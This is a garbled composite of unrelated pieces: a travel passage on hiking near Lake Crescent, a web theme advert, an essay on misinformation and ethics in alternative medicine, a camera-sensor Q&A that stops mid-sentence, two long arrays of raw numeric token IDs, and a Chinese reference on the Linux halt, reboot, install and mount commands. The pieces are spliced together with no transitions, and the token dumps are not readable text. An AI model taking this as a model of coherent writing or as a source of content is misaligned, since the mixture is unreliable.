Marymere Falls After a short hike back to the Ranger Station, you still have time to hop in your car and drive about 4 miles west until you get to Camp David Jr. Road, which is home to the Spruce Railroad Trail. The Spruce Railroad Trail, which was built as a working railway during World War I, was going to be used to transport Spruce trees to Port Angeles to build airplanes during the war, however, before the railway was completed, the war ended and the forests was not harvested. The trail is long, but flat, making it perfect for the family in nearly any weather. At around 8 miles round trip, it is long, but the plus side is that it is one of the few trails in any National Park that allows dogs and bikes. While there are a few places where the hillside has come over the trail, it is completely safe and well-marked. Devil’s Punchbowl along Lake Crescent On the Spruce Railroad Trail, one can see many things, ranging from scenic views and railroad tunnels to deep swimming holes and abandoned telegraph poles. One of the highlights of the trail, aside from the caves that used to be railroad tunnels is the Devil’s Punchbowl. A popular swimming hole in warm weather, the Devil’s Punchbowl is the ideal swimming hole. At nearly 100ft deep right next to the cliff, it is a safe place for swimmers and divers to jump for joy into an alpine lake. The severe drop off at Devil’s Punchbowl isn’t limited to that area, as Lake Crescent itself is officially 600ft deep, but some recent studies have placed it over 1000ft deep, making this hidden gem even more mysterious. Lake Crescent Overall, the Lake Crescent area is so diverse it is best for a three day weekend, but you can do it over a day, albeit a long day. Driving up from Olympia, you can hike both trails, site see and have a few good meals and get back home in less than 12 hours. While this may seem a bit much, the views, the drive and the experience to enjoy one of Washington’s most underrated areas is well worth the trip. Do it this weekend, do it on your day off…do it now and enjoy Lake Crescent before the crowds arrive this summer! National Park Guidebooks Subscribe to our Blog RSS feed for our articles. You should follow The Outdoor Society on Twitter. ABOUT YOUR BUSINESS Premium WordPress Themes with Single Click Installation, Just a Click and your website is ready for use. Your Site is faster to built, easy to use & Search Engine Optimized. If your looking for help with our themes this is the place to be. We have a ton of great videos that show you how to setup our themes. And every theme comes with PDF & Video Documentation to help with almost any issue.The level of misinformation about alternative medicine has reached the point where it is endangering patients Many people think medical ethics is a dry and boring subject mainly for the ivory towers of academia. Nothing could be further from the truth. One of the foremost aims of medical ethics is to make sure that people receive treatments that demonstrably do more good than harm, so it directly relates to the health and wellbeing of all of us. In conventional medicine, numerous safeguards are in place to make sure doctors adhere to generally accepted ethical standards. In alternative medicine, however, medical ethics has largely remained a blind spot. Therapeutic decisions of any kind should normally be taken after a healthcare professional has provided evidence-based advice to a patient. In alternative medicine, by contrast, consumers often make up their own minds whether to try this or that treatment; advice is not mandatory but information is abundantly available. In order to ensure the consumers' choice generates more good than harm, the publicly available information on alternative medicine would need to be reliable. We all know that this is not the case and that insisting on 100% reliability in a free market would be Utopian. Who, for instance, could even begin to vet the 50m or so websites that supply consumers with information on alternative treatments? But at the very least, information provided by healthcare professionals should not endanger the consumer. The undeniable fact, however, is that the information supplied by practitioners of alternative medicine is often incomplete, wrong or dangerously misleading to the point of seriously endangering public health and thus violating medical ethics. Here are two examples to back up this bold statement. The first relates to UK chiropractors who frequently fail to obtain informed consent before treating their patients. Yet, without it, informed decisions are impossible. Crucially, the lack of informed consent is a clear violation of every ethical code ever written. My second example relates to those UK homeopaths (and chiropractors) who advise a mother not to vaccinate her child. This not only endangers the health of that particular child, but could bring back infectious diseases on a large scale. Alternative clinicians are not the only ones who behave unethically. Pharmacists who sell homeopathic remedies or Bach Flower Remedies without making it clear that they contain not a single molecule of active ingredient also violate their own ethical code. In fact, all healthcare professionals who administer, prescribe or promote disproven treatments break fundamental rules of medical ethics. What could be worse than individual healthcare professionals behaving unethically? Their professional organisations doing the same. Most chiropractic organisations worldwide make therapeutic claims that are not supported by evidence. Similarly, the Society of Homeopaths claims on its website that, for a wide range of serious conditions, the evidence for homeopathy is convincing. One of them is a potentially serious condition that can occur after surgery, called post-operative ileus. Ironically, they base this particular claim on an article published by my team. What they fail to mention is that our article concluded that "several caveats preclude a definitive judgement". And what could be worse than national organisations violating medical ethics? International organisations doing the same. Some years ago, a report from the World Health Organisation claimed that acupuncture is a "proven therapy" for a range of serious and treatable conditions including, for instance, stroke. Yet the evidence shows the opposite: a Cochrane review concluded "Currently there is no clear evidence on the effects of acupuncture on subacute or chronic stroke. A report from a well-respected organisation such as the WHO is read around the world. In my view, this is therefore unethical on a global scale. So medical ethics is anything but boring. The level of misinformation about alternative medicine has now reached the point where it has become dangerous and unethical. So far, alternative medicine has remained an ethics-free zone. It is time to change this.Q: Does a sensor count the number of photons that hits it? I'm interested in the grayscale image case. In a sensor there is an array of cavities which collect photons. (Source: Cambridge in Colour Digital Camera Sensors) Does each cavity count the number of signals (or peaks) generated by each photon? Or is there one signal which is the sum of all photons (in which case the size of the signal should depend on photon energy presumably)? And also I'm guessing each cavity correspond to a pixel? Additional references would be appreciated. A: Your link discusses how a CCD (charge coupled device) image sensor works. Note, CCDs have applications besides images sensors, but the vast majority of CCDs are used as image sensors, and that is the only primary application I will be discussing. CCDs In typical CCDs used for color image sensing each CCD cell has a color filter over it. The most commonly used pattern groups 4 cells together with one red filter, one blue filter,
[ 187, 11, 209, 3193, 224, 71, 18140, 12811, 120, 9078, 106, 40500, 5959, 120, 6238, 14274, 18617, 122, 5941, 106, 43780, 3487, 20622, 16401, 34811, 5690, 99, 4340, 187, 11, 209, 3193, 224, 81, 27, 209, 26772, 40500, 5959, 120, 5225, 22975, 16849, 236, 19780, 120, 16800, 125, 28915, 237, 40500, 20616, 244, 7297, 115, 36337, 227, 5225, 37062, 21275, 4340, 187, 11, 209, 3193, 224, 69, 18140, 40500, 20616, 244, 44126, 12755, 242, 6238, 43300, 14274, 23956, 236, 20720, 29268, 105, 14318, 232, 4340, 187, 187, 21, 15, 18617, 123, 5690, 99, 41807, 29687, 187, 187, 44717, 29297, 12105, 33656, 214, 12335, 43780, 3487, 209, 3193, 224, 73, 4340, 44717, 11827, 102, 16677, 22975, 6238, 12676, 211, 14486, 121, 36361, 12335, 36778, 31949, 6238, 11827, 102, 16677, 24335, 9, 37373, 32938, 30329, 11023, 13609, 5225, 23692, 215, 8587, 236, 12811, 120, 34179, 14262, 236, 23373, 49835, 107, 13764, 235, 13609, 10, 44126, 12755, 242, 33656, 214, 12335, 6238, 42522, 44126, 12755, 242, 14262, 236, 44508, 224, 21275, 47961, 21991, 29427, 29297, 20281, 28915, 239, 14486, 97, 28327, 15756, 118, 4340, 38672, 100, 44126, 12755, 242, 5225, 209, 9078, 227, 16677, 29268, 102, 6765, 106, 20326, 17, 37542, 23, 6238, 6765, 236, 40500, 20616, 244, 44126, 12755, 242, 3193, 238, 7719, 101, 6765, 236, 16877, 43780, 3487, 34811, 5690, 99, 14236, 27727, 16740, 3193, 224, 73, 39573, 15531, 14106, 24370, 27937, 29440, 4340, 187, 187, 817, 29393, 187, 187, 18, 15, 21275, 12335, 187, 187, 250, 13449, 18617, 123, 5690, 99, 5225, 21275, 12335, 12105, 34698, 24308, 7719, 109, 37062, 14129, 96, 47615, 5959, 120, 6238, 39465, 5225, 29463, 12676, 214, 48889, 12105, 44126, 12755, 242, 46419, 24017, 20012, 4340, 187, 187, 19, 15, 45683, 30077, 187, 187, 250, 13449, 544, 3193, 224, 79, 62, 544, 3193, 224, 88, 62, 544, 3193, 224, 69, 62, 544, 3193, 224, 71, 62, 544, 3193, 224, 74, 62, 187, 187, 20, 15, 34204, 18764, 39573, 15531, 187, 187, 11, 209, 3193, 224, 79, 27, 209, 13610, 34698, 35930, 5959, 120, 22329, 14274, 28915, 237, 37373, 14129, 110, 16549, 217, 29645, 23692, 215, 8587, 236, 14262, 236, 26270, 49835, 107, 13764, 235, 5225, 37062, 21275, 4340, 187, 11, 209, 3193, 224, 88, 27, 209, 42843, 14274, 20281, 48561, 5225, 34698, 35930, 5959, 120, 6238, 46987, 12105, 18751, 221, 14129, 110, 14318, 232, 14262, 236, 22044, 16, 2044, 16, 2808, 16, 88, 12780, 42522, 42013, 4340, 187, 11, 209, 3193, 224, 69, 27, 209, 14274, 18751, 221, 14129, 110, 14318, 232, 14262, 236, 22044, 16, 2044, 16, 2808, 16, 88, 12780, 42522, 42013, 14236, 3193, 224, 79, 20622, 16401, 39573, 15531, 15899, 216, 7719, 106, 17492, 3193, 224, 69, 14106, 4340, 187, 11, 209, 3193, 224, 74, 27, 209, 13610, 34698, 35930, 5959, 120, 29766, 22329, 43216, 18751, 221, 25276, 14377, 40564, 19957, 228, 12755, 239, 32313, 40500, 5225, 29626, 216, 28791, 28915, 239, 14486, 97, 4340, 187, 187, 817, 3334, 187, 187, 18, 15, 21275, 12335, 187, 187, 12543, 18617, 123, 5690, 99, 5225, 21275, 12335, 12105, 38028, 29626, 216, 37542, 12363, 218, 29268, 102, 27258, 109, 23366, 37542, 7249, 218, 5690, 123, 36998, 6238, 39465, 5225, 29463, 12676, 214, 48889, 12105, 25276, 14377, 12335, 46136, 4340, 187, 187, 19, 15, 45683, 30077, 535, 50274, 9, 18, 10, 12543, 544, 49037, 19780, 119, 62, 2866, 209, 24370, 36337, 227, 209, 28154, 5225, 24086, 187, 50274, 9, 19, 10, 12543, 544, 49037, 19780, 119, 62, 2866, 209, 24370, 36337, 227, 2866, 209, 28154, 14318, 232, 187, 50274, 9, 20, 10, 12543, 209, 3193, 224, 69, 544, 49037, 19780, 119, 62, 2866, 209, 28154, 14318, 232, 2866, 187, 187, 13610, 22329, 3218, 99, 49288, 45683, 30077, 13609, 6238, 20281, 37373, 29, 24370, 36337, 227, 31, 7249, 224, 34179, 16787, 113, 29, 28154, 5225, 24086, 31, 37542, 37373, 24899, 16401, 29, 24370, 36337, 227, 31, 42522, 7249, 224, 34179, 16787, 113, 48584, 32938, 13610, 5225, 29, 28154, 14318, 232, 31, 6238, 209, 24412, 22975, 42205, 17576, 12676, 214, 48889, 41202, 30077, 40658, 25276, 14377, 20012, 16, 25276, 17955, 241, 41251, 4340, 13610, 24893, 36168, 49288, 45683, 30077, 13609, 6238, 20281, 6765, 238, 40309, 25276, 14377, 34811, 17576, 5225, 28154, 14318, 232, 40658, 39465, 23788, 5225, 34204, 28154, 14318, 232, 4340, 28607, 125, 49037, 19780, 119, 41250, 19780, 121, 12335, 5225, 39573, 15531, 13610, 29463, 25762, 244, 49037, 19780, 119, 22975, 35724, 12105, 41250, 19780, 121, 5225, 4340, 187, 187, 20, 15, 34204, 18764, 39573, 15531, 187, 187, 11, 428, 3193, 224, 45978, 60, 30, 37423, 62, 18140, 20326, 22985, 226, 16401, 48584, 32938, 13610, 5225, 28154, 5225, 24086, 42522, 36778, 16677, 7249, 218, 5690, 123, 4340, 187, 11, 428, 67, 18140, 35498, 13127, 122, 209, 3193, 224, 3193, 224, 45978, 6238, 43300, 14274, 33474, 43368, 44573, 35201, 39573, 15531, 4340, 187, 11, 428, 68, 18140, 9, 43873, 49037, 19780, 119, 14274, 21275, 7249, 215, 24017, 10, 4340, 187, 11, 428, 69, 6238, 3193, 224, 3193, 224, 26758, 18140, 25276, 14377, 39573, 15531, 34446, 21275, 20326, 28154, 14318, 232, 7249, 215, 24017, 6238, 38328, 3218, 231, 20281, 6765, 238, 40309, 34811, 17576, 28154, 14318, 232, 5225, 25276, 14377, 34204, 28154, 14318, 232, 4340, 187, 11, 428, 37, 18140, 6765, 238, 40309, 29, 28154, 5225, 24086, 31, 22329, 5225, 25276, 14377, 34204, 28154, 14318, 232, 6238, 38389, 29427, 37373, 29, 24370, 36337, 227, 31, 7249, 224, 34179, 16787, 113, 654, 28154, 5225, 24086, 31, 3193, 238, 13610, 24893, 9850, 49288, 29463, 45683, 30077, 13609, 14377, 12335, 4340, 187, 11, 428, 72, 6238, 3193, 224, 3193, 224, 4399, 30, 41251, 18140, 21232, 16677, 42205, 17576, 25276, 17955, 241, 41251, 6238, 38328, 14274, 12105, 36778, 31949, 28154, 22329, 5225, 25276, 17955, 241, 41251, 4340, 187, 11, 428, 78, 6238, 3193, 224, 3193, 224, 9561, 30, 41202, 30077, 18140, 21232, 16677, 42205, 17576, 12676, 214, 48889, 41202, 30077, 313, 44314, 348, 2307, 10, 6238, 38328, 14274, 12105, 83, 22358, 83, 3193, 224, 89, 83, 3193, 224, 89, 4340, 187, 11, 428, 80, 6238, 3193, 224, 3193, 224, 18602, 30, 25276, 14377, 20012, 18140, 21232, 16677, 42205, 17576, 25276, 14377, 20012, 313, 46987, 11016, 213, 12335, 30329, 34138, 216, 29268, 102, 12335, 46136, 10, 4340, 187, 11, 428, 81, 6238, 3193, 224, 3193, 224, 39810, 3193, 224, 12292, 383, 11441, 18140, 16877, 29, 24370, 36337, 227, 31, 42522, 5225, 14129, 125, 49271, 16, 16818, 108, 43316, 22975, 37286, 21275, 20326, 32313, 36361, 5225, 28154, 5225, 24086, 42522, 5225, 22975, 37286, 17955, 241, 21734, 4340, 187, 11, 428, 84, 6238, 3193, 224, 3193, 224, 25763, 18140, 12335, 25763, 18617, 123, 5690, 99, 6765, 243, 42951, 25354, 2829, 6238, 46987, 11016, 213, 12335, 30329, 24893, 9850, 40658, 24893, 34744, 49288, 29463, 45683, 30077, 4340, 187, 11, 428, 52, 6238, 3193, 224, 3193, 224, 49959, 30, 29427, 37661, 211, 18140, 21232, 16677, 34811, 17576, 7249, 218, 5690, 123, 42522, 5225, 29, 29427, 37661, 211, 31, 4340, 187, 11, 428, 87, 6238, 3193, 224, 3193, 224, 49737, 18140, 7249, 215, 24017, 22985, 226, 16401, 42522, 16, 28154, 14318, 232, 22975, 12363, 110, 18678, 28610, 16998, 110, 4340, 187, 11, 428, 3193, 224, 13070, 18140, 8841, 124, 30420, 43873, 15446, 108, 11043, 104, 32165, 43136, 42843, 44020, 121, 35930, 4340, 187, 11, 428, 3193, 224, 4149, 18140, 8841, 124, 30420, 15957, 219, 18957, 32165, 43136, 42843, 44020, 121, 35930, 4340, 187, 16285, 187, 18, 15, 21275, 12335, 187, 16285, 18617, 123, 5690, 99, 5225, 21275, 12335, 12105, 27727, 27258, 123, 42522, 44126, 12755, 242, 6238, 39465, 5225, 12335, 12676, 214, 48889, 12105, 34138, 216, 29268, 102, 12335, 46136, 37542, 16, 14069, 16, 71, 42802, 13609, 7056, 212, 14129, 118, 5225, 29463, 20012, 4340, 187, 19, 15, 45683, 30077, 187, 16285, 209, 3193, 224, 66, 544, 3193, 224, 38379, 62, 544, 3193, 224, 85, 362, 71, 296, 1692, 62, 544, 3193, 224, 79, 62, 544, 3193, 224, 30217, 62, 544, 3193, 224, 39, 62, 2813, 14035, 187, 20, 15, 34204, 18764, 39573, 15531, 187, 11, 428, 73, 18140, 8841, 124, 30420, 21365, 216, 11043, 104, 32165, 43136, 4340, 187, 11, 428, 87, 18140, 8841, 124, 30420, 32165, 43136, 6238, 27804, 36548, 21458, 3193, 224, 71, 12335, 24370, 42951, 39915, 236, 4340, 187, 11, 428, 66, 18140, 37373, 16, 14069, 16, 71, 42802, 13609, 17576, 11871, 220, 5225, 25276, 14377, 42522, 44126, 12755, 242, 18245, 213, 16740, 4340, 187, 11, 428, 39, 18140, 20622, 16401, 18617, 123, 5690, 99, 27804, 36548, 21458, 3193, 224, 66, 9850, 39859, 29463, 6238, 39465, 20281, 20326, 22985, 226, 27896, 16285, 5225, 37062, 21275, 5494, 102, 20025, 27896, 16677, 31949, 29832, 242, 29832, 98, 11827, 102, 16677, 4340, 13610, 44126, 12755, 242, 47905, 18245, 213, 16740, 15962, 37079, 47, 7864, 42522, 44126, 12755, 242, 22975, 33018, 27727, 16549, 106, 27727, 27258, 123, 5225, 11016, 242, 209, 29485, 4340, 187, 11, 428, 71, 18140, 27804, 36548, 12335, 30329, 42951, 39915, 236, 4340, 39465, 20281, 22160, 16285, 14274, 11827, 102, 16677, 36750, 17783, 216, 18245, 213, 16740, 5225, 37062, 21275, 6238, 38328, 12105, 41202, 23825, 242, 10962, 114, 16401, 18245, 213, 16740, 5225, 32004, 31949, 6238, 27804, 36548, 20281, 21458, 3193, 224, 87, 9850, 39859, 29463, 4340, 187, 11, 428, 85, 362, 71, 296, 1692, 18140, 8841, 124, 30420, 41873, 27727, 27258, 123, 42522, 44126, 12755, 242, 5225, 35498, 34380, 4340, 187, 11, 428, 79, 18140, 9850, 34372, 107, 38328, 31982, 6238, 16285, 18245, 213, 16740, 29427, 20281, 13610, 16, 14069, 16, 6917, 357, 13609, 14262, 236, 23373, 9850, 18947, 231, 23692, 215, 8587, 236, 6238, 13610, 44126, 12755, 242, 13609, 46049, 14377, 18148, 14262, 236, 23373, 42522, 44126, 12755, 242, 5225, 34397, 14262, 115, 20720, 6238, 33018, 12335, 20622, 16401, 49037, 19780, 119, 27937, 37933, 219, 20622, 16401, 37062, 21275, 4340, 187, 21, 15, 36361, 12335, 18751, 211, 16385, 102, 187, 13610, 32490, 21458, 2447, 895, 44126, 12755, 242, 16740, 6238, 25276, 14377, 42522, 34446, 12105, 21275, 20326, 27896, 15962, 34380, 15756, 228, 14236, 16877, 16, 20326, 15756, 119, 14106, 5225, 9850, 26795, 18434, 14129, 125, 49271, 5225, 4340, 18764, 14129, 125, 49271, 3717, 14, 34940, 16740, 5225, 42522, 6238, 47905, 37373, 3717, 14, 34940, 42205, 7249, 218, 18245, 213, 209, 29626, 216, 13610, 42522, 15756, 228, 13609, 5225, 26974, 227, 16401, 18245, 213, 29626, 216, 29734, 4340, 42055, 29918, 16677, 15957, 219, 38028, 29626, 216, 17492, 21232, 37062, 18245, 213, 29626, 216, 15899, 216, 6238, 40693, 43244, 20622, 16401, 14486, 100, 48604, 99, 18148, 21232, 37062, 36778, 16677, 4340, 13610, 32490, 13609, 6238, 209, 42055, 18764, 29463, 49835, 107, 13764, 235, 4746, 7056, 220, 165, 104, 111, 38563, 44246, 103, 32938, 42205, 7249, 218, 6238, 29297, 30808, 43216, 37373, 39465, 27727, 27258, 123, 6238, 26772, 209, 44246, 103, 32938, 42205, 7249, 218, 18245, 213, 16740, 17492, 29766, 29427, 6238, 29297, 33018, 18751, 221, 39465, 26772, 21991, 27896, 28154, 14318, 232, 24370, 14129, 125, 49271, 4340, 18245, 213, 16740, 27896, 42205, 7249, 218, 29463, 16285, 18617, 123, 5690, 99, 4340, 13610, 29463, 16285, 20622, 16401, 34811, 5690, 99, 22975, 6238, 16787, 113, 45508, 18764, 43216, 34609, 34260, 20720, 44157, 36168, 49288, 32165, 43136, 18140, 18764, 27727, 27258, 123, 25949, 209, 44795, 5225, 42522, 44126, 12755, 242, 35498, 34380, 4746, 18764, 27727, 27258, 123, 25949, 44795, 5225, 42205, 7249, 218, 28610, 16998, 110, 40658, 18764, 37373, 42205, 7249, 218, 27727, 27258, 123, 22044, 20833, 105, 16401, 28154, 14318, 232, 20720, 4340, 187, 14236, 18, 14106, 32490, 33018, 11894, 217, 6765, 106, 5225, 42522, 44126, 12755, 242, 187, 27739, 217, 7464, 5325, 16, 4185, 36548, 12335, 5225, 39, 1194, 4567, 42522, 44126, 12755, 242, 18140, 87, 19397, 209, 3193, 238, 187, 27739, 217, 12932, 20483, 16, 6914, 209, 5225, 42522, 44126, 12755, 242, 18140, 2649, 3671, 209, 3193, 238, 187, 27739, 217, 9485, 16, 19, 12335, 5225, 42522, 44126, 12755, 242, 18140, 28368, 3671, 3193, 238, 187, 27739, 217, 13492, 12335, 5225, 42522, 44126, 12755, 242, 18140, 2068, 19, 4746, 2068, 20, 3193, 238, 187, 27739, 217, 3437, 14, 34940, 7056, 220, 13764, 235, 12335, 5225, 42522, 44126, 12755, 242, 18140, 14699, 4196, 1549, 4340, 187, 46982, 123, 38389, 87, 19397, 12105, 34811, 39, 1194, 4567, 44126, 12755, 242, 6238, 43300, 22010, 36750, 16740, 39465, 35724, 7056, 122, 41683, 39, 1194, 1668, 5225, 42522, 44126, 12755, 242, 35498, 34380, 4340, 187, 14236, 19, 14106, 49835, 108, 17576, 42205, 7249, 218, 5225, 28610, 16998, 110, 187, 13610, 32490, 13609, 6238, 209, 42205, 7249, 218, 28610, 16998, 110, 27804 ]	* －f：强迫关机，不呼叫shutdown这个指令。 * －p: 当关机的时候顺便做关闭电源的动作。 * －d：关闭系统，但不留下纪录。 4.命令说明 halt就是调用shutdown －h。halt执行时，杀死应用进程，执行sync(将存于buffer中的资料强制写入硬盘中)系统调用，文件系统写操作完成后就会停止内核。若系统的运行级别为0或6，则关闭系统；否则以shutdown指令（加上－h参数）来取代。 ## reboot 1.作用 reboot命令的作用是重新启动计算机，它的使用权限是系统管理者。 2.格式 reboot [－n] [－w] [－d] [－f] [－i] 3.主要参数 * －n: 在重开机前不做将记忆体资料写回硬盘的动作。 * －w: 并不会真的重开机，只是把记录写到/var/log/wtmp文件里。 * －d: 不把记录写到/var/log/wtmp文件里（－n这个参数包含了－d）。 * －i: 在重开机之前先把所有与网络相关的装置停止。 ## install 1.作用 install命令的作用是安装或升级软件或备份数据，它的使用权限是所有用户。 2.格式 (1)install [选项]… 来源目的地 (2)install [选项]… 来源… 目录 (3)install －d [选项]… 目录… 在前两种格式中，会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>，同时设定权限模式及所有者/所属组。在第三种格式中，会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 3.主要参数 * -－backup[=CONTROL]：为每个已存在的目的地文件进行备份。 * -b：类似－－backup，但不接受任何参数。 * -c：(此选项不作处理)。 * -d，－－directory：所有参数都作为目录处理，而且会创建指定目录的所有主目录。 * -D：创建<目的地>前的所有主目录，然后将<来源>复制至 <目的地>；在第一种使用格式中有用。 * -g，－－group=组：自行设定所属组，而不是进程目前的所属组。 * -m，－－mode=模式：自行设定权限模式 (像chmod)，而不是rwxr－xr－x。 * -o，－－owner=所有者：自行设定所有者 (只适用于超级用户)。 * -p，－－preserve－timestamps：以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。 * -s，－－strip：用strip命令删除symbol table，只适用于第一及第二种使用格式。 * -S，－－suffix=后缀：自行指定备份文件的<后缀>。 * -v，－－verbose：处理每个文件/目录时印出名称。 * -－help：显示此帮助信息并离开。 * -－version：显示版本信息并离开。 mount 1.作用 mount命令的作用是加载文件系统，它的用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 mount －a [－fv] [－t vfstype] [－n] [－rw] [－F] device dir 3.主要参数 * -h：显示辅助信息。 * -v：显示信息，通常和－f用来除错。 * -a：将/etc/fstab中定义的所有文件系统挂上。 * -F：这个命令通常和－a一起使用，它会为每一个mount的动作产生一个行程负责执行。在系统需要挂上大量NFS文件系统时可以加快加载的速度。 * -f：通常用于除错。它会使mount不执行实际挂上的动作，而是模拟整个挂上的过程，通常会和－v一起使用。 * -t vfstype：显示被加载文件系统的类型。 * -n：一般而言，mount挂上后会在/etc/mtab中写入一笔资料，在系统中没有可写入文件系统的情况下，可以用这个选项取消这个动作。 4.应用技巧在Linux和Unix系统上，所有文件都是作为一个大型树（以/为根）的一部分访问的。要访问CD-ROM上的文件，需要将CD-ROM设备挂装在文件树中的某个挂装点。如果发行版安装了自动挂装包，那么这个步骤可自动进行。在Linux中，如果要使用硬盘、光驱等储存设备，就得先将它加载，当储存设备挂上了之后，就可以把它当成一个目录来访问。挂上一个设备使用mount命令。在使用mount这个指令时，至少要先知道下列三种信息：要加载对象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。（1）Linux可以识别的文件系统 ◆ Windows 95/98常用的FAT 32文件系统：vfat ； ◆ Win NT/2000 的文件系统：ntfs ； ◆ OS/2用的文件系统：hpfs； ◆ Linux用的文件系统：ext2、ext3； ◆ CD-ROM光盘用的文件系统：iso9660。虽然vfat是指FAT 32系统，但事实上它也兼容FAT 16的文件系统类型。（2）确定设备的名称在Linux中，设备名称通
[ 613, 2191, 13, 657, 15, 575, 4015, 86, 29935, 13, 401, 15, 575, 16490, 408, 302, 13, 329, 15, 36, 15, 17311, 3115, 13, 353, 15, 575, 6148, 416, 11517, 13, 401, 15, 575, 53, 709, 91, 13, 500, 15, 41, 15, 17650, 13, 285, 401, 15, 43, 15, 3889, 14474, 790, 257, 15, 380, 3426, 544, 38, 1181, 2737, 266, 9600, 327, 29901, 7151, 251, 21576, 27, 6120, 285, 1971, 15, 1157, 1249, 27, 19603, 13, 4240, 15, 187, 187, 34, 15, 575, 8469, 46668, 24535, 13, 367, 15, 575, 59, 29982, 5021, 13, 309, 15, 575, 36, 21432, 13, 367, 15, 575, 49, 343, 16078, 13, 399, 15, 575, 47, 15916, 13, 353, 15, 575, 47, 4953, 1079, 13, 418, 15, 575, 47314, 395, 21037, 13, 285, 443, 15, 575, 30206, 636, 4692, 15, 10330, 285, 7914, 273, 40281, 68, 1596, 262, 460, 10104, 275, 14245, 2614, 6308, 285, 6532, 273, 35839, 285, 2120, 14, 3945, 48842, 15, 1157, 10484, 9, 18, 1253, 18, 2262, 1812, 1253, 2504, 13, 4104, 15, 187, 187, 44, 15, 575, 39440, 13, 322, 15, 575, 35034, 3612, 13, 416, 15, 575, 37, 38130, 1405, 13, 378, 15, 44, 15, 28753, 13, 500, 15, 575, 25392, 13, 378, 15, 575, 1044, 860, 67, 5353, 13, 285, 367, 15, 575, 1779, 518, 37588, 430, 90, 15, 6365, 22386, 19177, 273, 638, 2056, 5051, 27, 1783, 273, 6127, 273, 8898, 9532, 13, 12807, 13, 285, 35527, 9588, 407, 9050, 273, 34522, 2363, 15, 1157, 6879, 27, 25140, 1253, 29546, 13, 4059, 15, 187, 187, 20941, 15, 716, 575, 32893, 640, 13, 5642, 15, 3889, 575, 3354, 14181, 6426, 13, 22533, 15, 411, 1595, 303, 6736, 13, 500, 40, 15, 16251, 1944, 24044, 13, 285, 500, 35, 15, 3889, 443, 2995, 80, 972, 15, 45816, 80, 3527, 5286, 281, 20346, 15330, 3587, 846, 4201, 15, 1157, 20825, 27, 28744, 1253, 33597, 13, 5826, 15, 187, 187, 44, 15, 575, 47, 636, 25531, 257, 13, 443, 15, 575, 39, 23268, 13, 285, 367, 15, 575, 7047, 40565, 14356, 15, 44892, 2603, 9712, 323, 5889, 267, 673, 2962, 15, 1157, 7223, 337, 1253, 1797, 13, 9169, 15, 187, 33, 2948, 49173, 2420, 14, 6082, 15, 1026, 859, 3664, 187, 42, 369, 627, 281, 1859, 271, 20849, 273, 20858, 285, 20937, 407, 253, 11596, 9558, 22723, 46661, 314, 15, 1284, 309, 7428, 1475, 253, 2620, 9956, 13, 512, 11859, 285, 2317, 285, 439, 47587, 13, 309, 3543, 31564, 1108, 407, 643, 12942, 13, 6046, 13, 253, 24476, 723, 273, 253, 3988, 17269, 15, 2726, 253, 6517, 273, 581, 390, 767, 7437, 309, 3543, 387, 13653, 342, 253, 15646, 15, 187, 187, 49, 30662, 20424, 26341, 13, 31246, 37132, 27, 329, 1314, 70, 80, 4559, 48148, 27510, 313, 20119, 432, 10440, 10, 187, 187, 6693, 4602, 309, 3543, 369, 16487, 13, 1073, 2784, 275, 285, 562, 15, 187, 187, 35, 2149, 13, 285, 8489, 34639, 13, 309, 1669, 15, 1284, 309, 858, 594, 13, 285, 342, 673, 281, 5159, 13, 309, 8344, 253, 21778, 457, 84, 3148, 273, 2987, 432, 697, 9928, 4849, 15, 2667, 981, 309, 457, 69, 452, 247, 3158, 17834, 387, 253, 21778, 457, 84, 5536, 14, 73, 4069, 13, 380, 21525, 273, 2828, 13, 309, 12293, 275, 15, 187, 187, 510, 2639, 580, 45824, 369, 627, 13, 2112, 342, 247, 8788, 273, 643, 20858, 432, 253, 1458, 394, 281, 253, 1384, 394, 14020, 15, 733, 1160, 323, 247, 17127, 13, 604, 417, 7765, 14, 737, 22590, 13, 1384, 2909, 15, 187, 187, 5872, 13, 347, 309, 369, 13828, 281, 3553, 13, 627, 352, 369, 15, 27922, 253, 2457, 2316, 285, 17421, 247, 30231, 273, 1384, 394, 5331, 2987, 13, 10416, 11706, 7813, 342, 247, 18150, 15141, 15, 10400, 4911, 23767, 285, 23543, 342, 21609, 10688, 253, 13497, 396, 4219, 4116, 15, 48474, 4817, 347, 309, 9919, 281, 10711, 619, 1039, 1475, 46482, 20424, 26341, 457, 84, 789, 1108, 689, 253, 11636, 273, 9279, 13, 2439, 253, 8995, 11996, 13, 598, 949, 253, 43031, 5464, 273, 253, 7139, 3345, 15, 187, 187, 1147, 1669, 271, 13214, 347, 24863, 387, 253, 1708, 273, 21587, 14, 24139, 14, 49, 968, 1108, 1014, 2167, 352, 457, 84, 247, 2360, 1335, 14, 8206, 15, 187, 187, 37132, 26341, 3562, 253, 789, 387, 21587, 14, 24139, 14, 49, 968, 275, 253, 5768, 273, 32921, 13, 247, 807, 846, 13447, 1204, 574, 644, 8884, 3846, 15, 3105, 594, 13, 344, 16264, 15, 187, 187, 1989, 247, 34406, 273, 253, 789, 310, 275, 33132, 15, 1284, 444, 2369, 4860, 13, 253, 1318, 273, 6306, 1078, 11706, 7813, 342, 247, 18150, 15141, 8696, 3345, 253, 13497, 13, 275, 253, 14021, 309, 16, 5658, 1928, 15, 187, 187, 14660, 13, 1708, 13, 5768, 13, 3440, 13, 8995, 13, 9279, 1108, 512, 253, 1175, 13, 2032, 285, 1774, 1841, 403, 1060, 13, 6345, 285, 7171, 285, 30601, 15, 187, 187, 510, 13497, 457, 84, 327, 3148, 1919, 253, 990, 273, 253, 807, 15, 12238, 247, 1007, 1108, 352, 778, 9632, 1633, 15, 187, 187, 1898, 273, 326, 847, 1730, 267, 23737, 13, 3033, 1417, 285, 14205, 13, 253, 33178, 285, 1268, 31500, 20061, 2080, 1977, 15, 4683, 21474, 13702, 285, 3846, 1821, 13, 512, 326, 6376, 369, 1048, 10583, 15, 187, 187, 12978, 359, 320, 12659, 846, 776, 8923, 32, 3824, 17646, 13, 323, 954, 273, 441, 13, 588, 320, 18414, 281, 253, 12959, 273, 7636, 4394, 285, 3858, 15, 1284, 597, 1509, 13, 594, 752, 4558, 273, 441, 38391, 1768, 1977, 15, 187, 187, 6067, 38634, 778, 4456, 441, 13, 776, 1270, 14, 26852, 13863, 778, 1239, 776, 4454, 2716, 247, 